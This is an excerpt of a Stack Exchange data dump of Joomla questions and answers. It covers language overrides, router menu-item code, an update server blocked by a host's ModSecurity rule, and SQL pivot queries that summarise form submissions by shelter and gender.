  <row Id="28001" PostTypeId="1" CreationDate="2020-04-28T15:14:04.267" Score="2" ViewCount="53" Body="&lt;p&gt;I would like to create a language override for both site and administrator. The language constant I am changing is;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RSFP_REG_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content of this is;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hello %s,\n\nYour account has been activated by an administrator. You&#xA;  can now login at %s using the username %s and the password you chose&#xA;  while registering.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would like to include my site details in this message. e.g.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hello %s,\n\nYour account has been activated by an administrator. You&#xA;  can now login at %s using the username %s and the password you chose&#xA;  while registering.\n\ [site name] [site url] [site email address]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can include these so they are dynamic, i.e they change when I edit them in the site global settings? Or do I need to change this language constant every time I change my site details? &lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-04-28T15:54:00.480" Title="Language Override Include Site Details" Tags="|joomla-3.x|overrides|template-override|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28003" PostTypeId="2" ParentId="28000" CreationDate="2020-04-28T15:37:36.013" Score="1" Body="&lt;p&gt;I would &lt;strong&gt;program a custom module&lt;/strong&gt; for this purpose. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In its &lt;strong&gt;helper file&lt;/strong&gt; I would load the Model of your component to retrieve the items that you will display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out a Joomla core module like /modules/&lt;strong&gt;mod_articles_latest&lt;/strong&gt; to see how it re-uses Joomla's ContentModelArticles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the /tmpl/default.php I would put the html + php to display the data. As basis I would copy parts of the components html output.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-04-28T15:37:36.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28004" PostTypeId="2" ParentId="28001" CreationDate="2020-04-28T15:48:25.067" Score="2" Body="&lt;p&gt;You could probably only create such dynamic language strings with a custom plugin. You will probably need a &lt;strong&gt;system plugin&lt;/strong&gt; that is triggered by the event &lt;strong&gt;onBeforeRender&lt;/strong&gt; or &lt;strong&gt;onAfterRender&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that event is triggered, your plugin should look for the contents of RSFP_REG_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY and replace it with the same + the extra information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I searched for the language string and noticed that it's used by the UsersModelRegistration /components/com_users/models/registration.php&#xA;That Model has a function JPluginHelper::importPlugin('user'); that loads the User plugins. So I would start looking if there are any User Plugin events that you can hook into.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2020-04-28T15:54:00.480" LastActivityDate="2020-04-28T15:54:00.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28005" PostTypeId="2" ParentId="27995" CreationDate="2020-04-28T19:40:14.920" Score="0" Body="&lt;p&gt;You can use your custom router code to find a menuitem which matches the view you enter in your &lt;code&gt;JRoute::_()&lt;/code&gt; call, and I think it's easiest to do this in the &lt;code&gt;preprocess&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this code into your router.php &lt;code&gt;preprocess&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($query['view'], $query['Itemid']))&#xA;{&#xA;    $sitemenu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;    $targetView = $query['view'];&#xA;    $currentMenuitem = $sitemenu-&amp;gt;getItem($query['Itemid']);&#xA;    if (strpos($currentMenuitem-&amp;gt;link, &quot;view=$targetView&quot;) === FALSE)  // if view doesn't match&#xA;    {&#xA;        $galleryMenuitems = $sitemenu-&amp;gt;getItems(array(&quot;component&quot;), array(&quot;com_gallery&quot;));&#xA;        foreach($galleryMenuitems as $menuitem)&#xA;        {&#xA;            if (strpos($menuitem-&amp;gt;link, &quot;view=$targetView&quot;) !== FALSE)  // if this menuitem's view matches&#xA;            {&#xA;                $query['Itemid'] = $menuitem-&amp;gt;id;&#xA;                break;&#xA;            }&#xA;        }&#xA;    }&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$query['view']&lt;/code&gt; is the view you asked for in your &lt;code&gt;JRoute&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$query['Itemid']&lt;/code&gt; is the &lt;code&gt;Itemid&lt;/code&gt; associated with the current menuitem that the Joomla router is using – which is (probably) going to be the menuitem the user is on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code finds the &lt;code&gt;link&lt;/code&gt; associated with the current menuitem, and if it doesn't match the view you're looking for then it gets all your component's menuitems and searches through them to find a link which includes your view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if all your component views are named the same as the corresponding menuitem &lt;code&gt;alias&lt;/code&gt;, then you can easily find that using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menuitems = $sitemenu-&amp;gt;getItems(array(&quot;component&quot;,&quot;alias&quot;),array(&quot;com_gallery&quot;,$targetView), true);&#xA;if ($menuitems)&#xA;{&#xA;    $query['Itemid'] = $menuitems[0]-&amp;gt;id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A guide to the Joomla menu/menuitems API is at &lt;a href=&quot;https://docs.joomla.org/Menu_and_Menuitems_API_Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Menu_and_Menuitems_API_Guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-04-28T19:40:14.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28006" PostTypeId="2" ParentId="27998" CreationDate="2020-04-28T19:58:39.510" Score="1" Body="&lt;p&gt;Joomla language overrides seem to accept html ok, so just add the markup into your override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Language overrides are described at &lt;a href=&quot;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting text like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your file is &amp;lt;strong&amp;gt;too large&amp;lt;/strong&amp;gt;.  &#xA;Please see &amp;lt;a href=&quot;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&quot;&amp;gt;here&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;worked for me.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-04-28T19:58:39.510" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="28007" PostTypeId="1" CreationDate="2020-04-29T09:13:36.500" Score="1" ViewCount="56" Body="&lt;p&gt;I am struggling by deploying an update server for my extensions.&#xA;In the local environment all works good but if i switch to my public server Joomla! tells me when fetching the updateservers that all of my xml's could not been read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&gt; The URLS are correct&#xA;--&gt; The updateserver returns an error 510 as i can see in my updateservers errorlog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[CLIENTSERVERIP] - - [29/Apr/2020:10:57:05 +0200] &quot;GET /updates/myextension.xml HTTP/1.0&quot; 510 984 &quot;-&quot; &quot;Mozilla/5.0 Joomla!/3.9.16 Joomla&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did not found anything helpfull regarding this issue, uses the following entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;        &amp;lt;server type=&quot;extension&quot; priority=&quot;1&quot; name=&quot;mod_nx_oriel&quot;&amp;gt;&#xA;            &amp;lt;![CDATA[https://update.host.tld/sub/myextension.xml]]&amp;gt;&#xA;        &amp;lt;/server&amp;gt;&#xA;    &amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: i've tried before also with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;        &amp;lt;server type=&quot;extension&quot; priority=&quot;1&quot; name=&quot;mod_nx_oriel&quot;&amp;gt;&#xA;            https://update.host.tld/sub/myextension.xml&#xA;        &amp;lt;/server&amp;gt;&#xA;    &amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i open &quot;&lt;a href=&quot;https://update.host.tld/sub/myextension.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://update.host.tld/sub/myextension.xml&lt;/a&gt;&quot; it shows my update XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what i can do regarding this Error 510?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2020-04-29T09:25:57.283" LastActivityDate="2020-05-29T10:04:00.283" Title="My Updateserver returns Error 510" Tags="|one-click-updates|extension-update|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28008" PostTypeId="2" ParentId="28007" CreationDate="2020-04-29T09:34:07.603" Score="1" Body="&lt;p&gt;I've found out that (after the error.log was rendered correctly) my updateserver hoster blocks these connections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Wed Apr 29 10:44:49.949248 2020] [:error] [pid 2849] [client **IP**:48884] [client ***IP***] ModSecurity: Access denied with code 510 (phase 2). Matched phrase &quot;Joomla&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/etc/modsecurity/01_hs/bad-user-agents.conf&quot;] [line &quot;6&quot;] [id &quot;0999998&quot;] [msg &quot;BAD BOT - Detected and Blocked.&quot;] [severity &quot;CRITICAL&quot;] [hostname &quot;update.domain.tld&quot;] [uri &quot;/sub/myextension.xml&quot;] [unique_id &quot;Xqk@gX8AAAEAAAshaooAAAAW&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now i have to talk to my hoster what the heck they are doing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the demand here is my update.xml (the file that will be called by my extension):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&amp;gt;&#xA;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;Extensionname&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;Extension Description&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;mod_extension&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;module&amp;lt;/type&amp;gt;&#xA;        &amp;lt;client&amp;gt;site&amp;lt;/client&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.0.7&amp;lt;/version&amp;gt;&#xA;        &amp;lt;infourl title=&quot;mydomain&quot;&amp;gt;https://www.mydomain.tld&amp;lt;/infourl&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;            &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;https://update.mydomain.tld/sub/mod_extension_v1.0.7.zip&amp;lt;/downloadurl&amp;gt;&#xA;        &amp;lt;/downloads&amp;gt;&#xA;        &amp;lt;tags&amp;gt;&#xA;            &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;        &amp;lt;/tags&amp;gt;&#xA;        &amp;lt;maintainer&amp;gt;My Name&amp;lt;/maintainer&amp;gt;&#xA;        &amp;lt;maintainerurl&amp;gt;https://www.mydomain.tld&amp;lt;/maintainerurl&amp;gt;&#xA;        &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.[0123456789]&quot; /&amp;gt;&#xA;        &amp;lt;php_minimum&amp;gt;7&amp;lt;/php_minimum&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2020-04-29T10:01:52.963" LastActivityDate="2020-04-29T10:01:52.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28009" PostTypeId="2" ParentId="27991" CreationDate="2020-04-29T11:11:13.653" Score="1" Body="&lt;p&gt;I first came across white screen when updating php from 5.6 to 7.0+. Pre 3.0 installations usually triggered the white screen but some later versions can trigger it too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definitely uninstall any components, modules, templates or plugins that are no longer in use. This is just good practice anyhow but saves time updating them when they are no longer necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, white screen is mostly caused by out of date templates. If the installation is using an 'off the shelf' template, check with the template developer to see if they have released an update. Installing the updated template is usually as simple as an extension install but watch out for any custom css overrides to ensure they are not lost during the update. Custom css may sometimes have been performed on the template default global css files which will get overwritten. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These template updates do not get highlighted in the Joomla maintenance updates so need to be looked for manually. Some template developers provide a plugin to check for template updates.&lt;/p&gt;&#xA;" OwnerUserId="14262" LastEditorUserId="12352" LastEditDate="2020-04-29T21:35:49.650" LastActivityDate="2020-04-29T21:35:49.650" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28010" PostTypeId="2" ParentId="27954" CreationDate="2020-04-29T13:14:29.147" Score="0" Body="&lt;p&gt;The solution :&#xA;The administrator must also belong to the Guest group.&lt;/p&gt;&#xA;" OwnerUserId="14220" LastActivityDate="2020-04-29T13:14:29.147" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28011" PostTypeId="2" ParentId="15301" CreationDate="2020-04-29T17:23:02.233" Score="1" Body="&lt;p&gt;2020: It is possible. Just go to Language Filter plugin, configuration. &quot;Remove URL Language Code&quot; to &quot;Yes&quot;. &lt;/p&gt;&#xA;" OwnerUserId="14263" LastActivityDate="2020-04-29T17:23:02.233" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28012" PostTypeId="2" ParentId="22060" CreationDate="2020-04-30T08:54:25.530" Score="1" Body="&lt;p&gt;The event is useful when you need custom code to be executed after saving an extension configuration. I use it in one of my templates to change favicon and logo when the color theme is changed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onExtensionAfterSave($option, $data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$option&lt;/code&gt; (string) where the plugin is called from. For a template this would be &quot;com_templates.style&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$data&lt;/code&gt; (object) for a template this contains the matching row in table &lt;code&gt;#__template_styles&lt;/code&gt; after saving, you can get the template params through &lt;code&gt;json_decode($data-&amp;gt;params)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13217" LastEditorUserId="12352" LastEditDate="2020-04-30T09:27:53.577" LastActivityDate="2020-04-30T09:27:53.577" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28013" PostTypeId="2" ParentId="19331" CreationDate="2020-04-30T14:30:54.773" Score="1" Body="&lt;p&gt;You should need to install &quot;MS SQL server drivers for PHP&quot; version 3.2 or 4.0.&#xA;Unpack on php/ext folder and once done you have to enable the extension in php.ini such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extension=php_sqlsrv_7_x64.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;change dll filename based on your extracted files.&lt;/li&gt;&#xA;&lt;li&gt;don't mix x86 and x64 dlls&lt;/li&gt;&#xA;&lt;li&gt;you can use /path/to/file.dll instead of filename dll&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally reloading &lt;a href=&quot;http://localhost/joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost/joomla&lt;/a&gt; website you will get Sqlsrv or MS SQL server option in your combobox.&lt;/p&gt;&#xA;" OwnerUserId="14266" LastActivityDate="2020-04-30T14:30:54.773" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28014" PostTypeId="2" ParentId="27996" CreationDate="2020-04-30T14:38:58.837" Score="1" Body="&lt;p&gt;This will rely heavily on the magic of a &amp;quot;pivot&amp;quot; technique. Here are some more examples in JSE to compare/contrast with &lt;a href=&quot;https://joomla.stackexchange.com/questions/tagged/pivot&quot;&gt;https://joomla.stackexchange.com/questions/tagged/pivot&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Basically, a &lt;code&gt;WHERE&lt;/code&gt; clause will disqualify rows before grouping occurs.  In this case, you only want to focus on data in the scope of &lt;code&gt;FormId&lt;/code&gt; &lt;code&gt;14&lt;/code&gt;, so this should go in your &lt;code&gt;WHERE&lt;/code&gt; clause.&lt;/p&gt;&#xA;&lt;p&gt;Then all data needs to remain &amp;quot;attached/related&amp;quot; to the single person that submitted the form -- so the &lt;code&gt;FormId&lt;/code&gt; &lt;code&gt;14&lt;/code&gt; rows need to be grouped by &lt;code&gt;SubmissionId&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then you need to disqualify &lt;code&gt;SubmissionIds&lt;/code&gt; that do not have an empty string as the &lt;code&gt;EXITDATE&lt;/code&gt; value.  This is where some people panic and/or get confused.  Deep breath, it's not impossible to comprehend.&lt;/p&gt;&#xA;&lt;p&gt;After &lt;code&gt;GROUP BY&lt;/code&gt; is called, all column data that is NOT listed in the &lt;code&gt;GROUP BY&lt;/code&gt; declaration becomes &amp;quot;Aggregate Data&amp;quot;.  In other words, the grouped column(s) can be used directly in a &lt;code&gt;SELECT&lt;/code&gt; clause because logically, there can only be 1 value for that column.  As for the remaining data, think of those rows as being &amp;quot;clusters/clouds/masses&amp;quot; of data.  There are dedicated functions to help you handle these non-singular portions of data. &lt;a href=&quot;https://www.mysqltutorial.org/mysql-aggregate-functions.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mysqltutorial.org/mysql-aggregate-functions.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;HAVING&lt;/code&gt; clause behaves similarly to the &lt;code&gt;WHERE&lt;/code&gt; clause, but it only begins filtering AFTER the grouping is done.  Next, the &lt;code&gt;IF()&lt;/code&gt; condition is going to be executed on every &amp;quot;row&amp;quot; of data.  Because there is no way to isolate the position of a known row in the aggregate data, every row's &lt;code&gt;FieldName&lt;/code&gt; value must be checked to ensure that the &lt;code&gt;FieldValue&lt;/code&gt; is actually the sought value.  All rows in the aggregate will be evaluated as &lt;code&gt;NULL&lt;/code&gt; (within the scope of the conditional expression) and ONLY the &lt;code&gt;EXITDATE&lt;/code&gt; value will be non-NULL.  &lt;code&gt;MAX()&lt;/code&gt; will then pick the greatest value of all of evaluated rows and return either an empty string or a date string.  If the isolated value is equal to the empty string, then the &lt;code&gt;SubmissionId&lt;/code&gt; qualifies for the &lt;code&gt;SELECT&lt;/code&gt; clause.&lt;/p&gt;&#xA;&lt;p&gt;In the &lt;code&gt;SELECT&lt;/code&gt; clause, the same aggregate-filtering technique is used again to determine which values should be delivered in the result set.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;TL;DR... Enough academia, let's get practical!&lt;/h2&gt;&#xA;&lt;p&gt;To isolate the individual people, their gender, and their current shelter, here is a simple pivot query that will exclude people whom have exited the shelter.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    SubmissionId,&#xA;    MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;    MAX(IF(FieldName = 'GENDER', FieldValue, NULL)) AS Gender&#xA;FROM o2pe0_rsform_submission_values&#xA;WHERE FormId = 14&#xA;GROUP BY SubmissionId&#xA;HAVING MAX(IF(FieldName = 'EXITDATE', FieldValue, NULL)) = ''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Output: (&lt;code&gt;SubmissionId&lt;/code&gt; is only listed in the &lt;code&gt;SELECT&lt;/code&gt; to demonstrate the relativity of data)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;| SubmissionId | Shelter    | Gender |&#xA;| ------------ | ---------- | ------ |&#xA;| 46978        | Mossel Bay | Male   |&#xA;| 46979        | Mossel Bay | Male   |&#xA;| 46980        | Mossel Bay | Female |&#xA;| 47013        | Swartland  | Male   |&#xA;| 47014        | Swartland  | Male   |&#xA;| 47015        | Swartland  | Male   |&#xA;| 47016        | Bellville  | Male   |&#xA;| 47017        | Bellville  | Male   |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;To de-identify the data, group by &lt;code&gt;Shelter&lt;/code&gt; and count the &lt;code&gt;Genders&lt;/code&gt;, I &lt;em&gt;think&lt;/em&gt; using the above pivot as a subquery is a sensible choice (I have not spent enough time thinking about alternatives).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    Shelter,&#xA;    Gender,&#xA;    COUNT(*) AS People&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;      MAX(IF(FieldName = 'GENDER', FieldValue, NULL)) AS Gender&#xA;  FROM o2pe0_rsform_submission_values&#xA;  WHERE FormId = 14&#xA;  GROUP BY SubmissionId&#xA;  HAVING MAX(IF(FieldName = 'EXITDATE', FieldValue, NULL)) = ''&#xA;) DerivedTable&#xA;GROUP BY Shelter, Gender&#xA;ORDER BY People DESC, Shelter, Gender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;| Shelter    | Gender | People |&#xA;| ---------- | ------ | ------ |&#xA;| Swartland  | Male   | 3      |&#xA;| Bellville  | Male   | 2      |&#xA;| Mossel Bay | Male   | 2      |&#xA;| Mossel Bay | Female | 1      |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;To de-identify the data, group by &lt;code&gt;Shelter&lt;/code&gt; and count the two listed &lt;code&gt;Genders&lt;/code&gt; individually, assign (hardcode) separate &lt;code&gt;Male&lt;/code&gt; and &lt;code&gt;Female&lt;/code&gt; columns in the derived pivot table before summing the column values in the parent &lt;code&gt;SELECT&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    Shelter,&#xA;    SUM(Females) AS Females,&#xA;    SUM(Males) AS Males&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;      MAX(IF(FieldName = 'GENDER' AND FieldValue = 'Male', 1, 0)) AS Males,&#xA;      MAX(IF(FieldName = 'GENDER' AND FieldValue = 'Female', 1, 0)) AS Females&#xA;  FROM o2pe0_rsform_submission_values&#xA;  WHERE FormId = 14&#xA;  GROUP BY SubmissionId&#xA;  HAVING MAX(IF(FieldName = 'EXITDATE', FieldValue, NULL)) = ''&#xA;) DerivedTable&#xA;GROUP BY Shelter&#xA;ORDER BY Shelter, Females, Males&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;| Shelter    | Females | Males |&#xA;| ---------- | ------- | ----- |&#xA;| Bellville  | 0       | 2     |&#xA;| Mossel Bay | 1       | 2     |&#xA;| Swartland  | 0       | 3     |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I trust this will be enough to get you going in your project.  If you need more examples, I have a few Stack Overflow pivot answers too.  &lt;a href=&quot;https://stackoverflow.com/a/59495516/2943403&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/a/51321042/2943403&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/a/60852113/2943403&quot;&gt;3&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/a/54603923/2943403&quot;&gt;4&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/a/53802735/2943403&quot;&gt;5&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/a/59494614/2943403&quot;&gt;6&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/a/53171115/2943403&quot;&gt;7&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/a/60246057/2943403&quot;&gt;8&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/a/60583112/2943403&quot;&gt;9&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/a/55897051/2943403&quot;&gt;10&lt;/a&gt;.  I don't want to get roped into doing too much free work, but if you get stuck again, feel free to ask another question and I'll be sure to have a look.&lt;/p&gt;&#xA;&lt;p&gt;P.S. If you continue to research and discover &lt;code&gt;CASE&lt;/code&gt; blocks, these have the same behavior as &lt;code&gt;IF()&lt;/code&gt; blocks in sql.  Though the syntax differs slightly, feel free to use &lt;code&gt;IF&lt;/code&gt; and &lt;code&gt;CASE&lt;/code&gt; interchangeably.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Okay, okay, one final query (but no more edits on this post)...&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/p84yz8fmHQAQtuF8uUReFY/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    Shelter,&#xA;    SUM(IF(MONTH(Entry) = MONTH(NOW()), Female, 0)) AS FemalesInLastMonth,&#xA;    SUM(IF(MONTH(Entry) = MONTH(NOW()), Male, 0)) AS MalesInLastMonth,&#xA;    SUM(Female) AS FemalesInLast3Months,&#xA;    SUM(Male) AS MalesInLast3Months&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;      STR_TO_DATE(MAX(IF(FieldName = 'ENTRY', FieldValue, '01-01-1901')), '%d/%m/%Y') AS Entry,&#xA;      MAX(IF(FieldName = 'GENDER' AND FieldValue = 'Male', 1, 0)) AS Male,&#xA;      MAX(IF(FieldName = 'GENDER' AND FieldValue = 'Female', 1, 0)) AS Female&#xA;  FROM o2pe0_rsform_submission_values&#xA;  WHERE FormId = 14&#xA;  GROUP BY SubmissionId&#xA;  HAVING MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) = 'Mossel Bay'&#xA;     AND STR_TO_DATE(MAX(IF(FieldName = 'ENTRY', FieldValue, '01-01-1901')), '%d/%m/%Y') &amp;gt;= DATE(NOW() - INTERVAL 3 MONTH)&#xA;     AND MAX(IF(FieldName = 'EXITDATE', FieldValue, NULL)) = ''&#xA;) AS DerivedTable&#xA;GROUP BY Shelter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Result Set: (not very exciting with limited input data)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;| Shelter    | FemalesInLastMonth | MalesInLastMonth | FemalesInLast3Months | MalesInLast3Months |&#xA;| ---------- | ------------------ | ---------------- | -------------------- | ------------------ |&#xA;| Mossel Bay | 0                  | 0                | 0                    | 1                  |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note there will be an avoidable expense to querying on your &lt;code&gt;d/m/Y&lt;/code&gt; formatted date strings, because employing MySQL's date functions will require special preparation every time.  If feasible, the RSForm submission data should be converted to the MySQL-friendly (instead of Human-friendly) date format &lt;code&gt;YYYY-MM-DD&lt;/code&gt; and all pre-existing date values should be converted to &lt;code&gt;YYYY-MM-DD&lt;/code&gt; as well.  This will be painful in the short term, but the long term benefits will be leaner/cleaner queries that are easier to read and maintain AND improved performance on every query execution.  This should be a priority job because your database is only going to grow larger; spare yourself many headaches in the future and tidy up your date values.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-07-06T12:29:50.377" LastActivityDate="2020-07-06T12:29:50.377" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28015" PostTypeId="2" ParentId="27972" CreationDate="2020-05-02T08:52:45.887" Score="1" Body="&lt;p&gt;I found the answer finaly i greated an example on github for who is intrested:&#xA;&lt;a href=&quot;https://github.com/basd82/joomla_libarary&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/basd82/joomla_libarary&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14149" LastActivityDate="2020-05-02T08:52:45.887" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
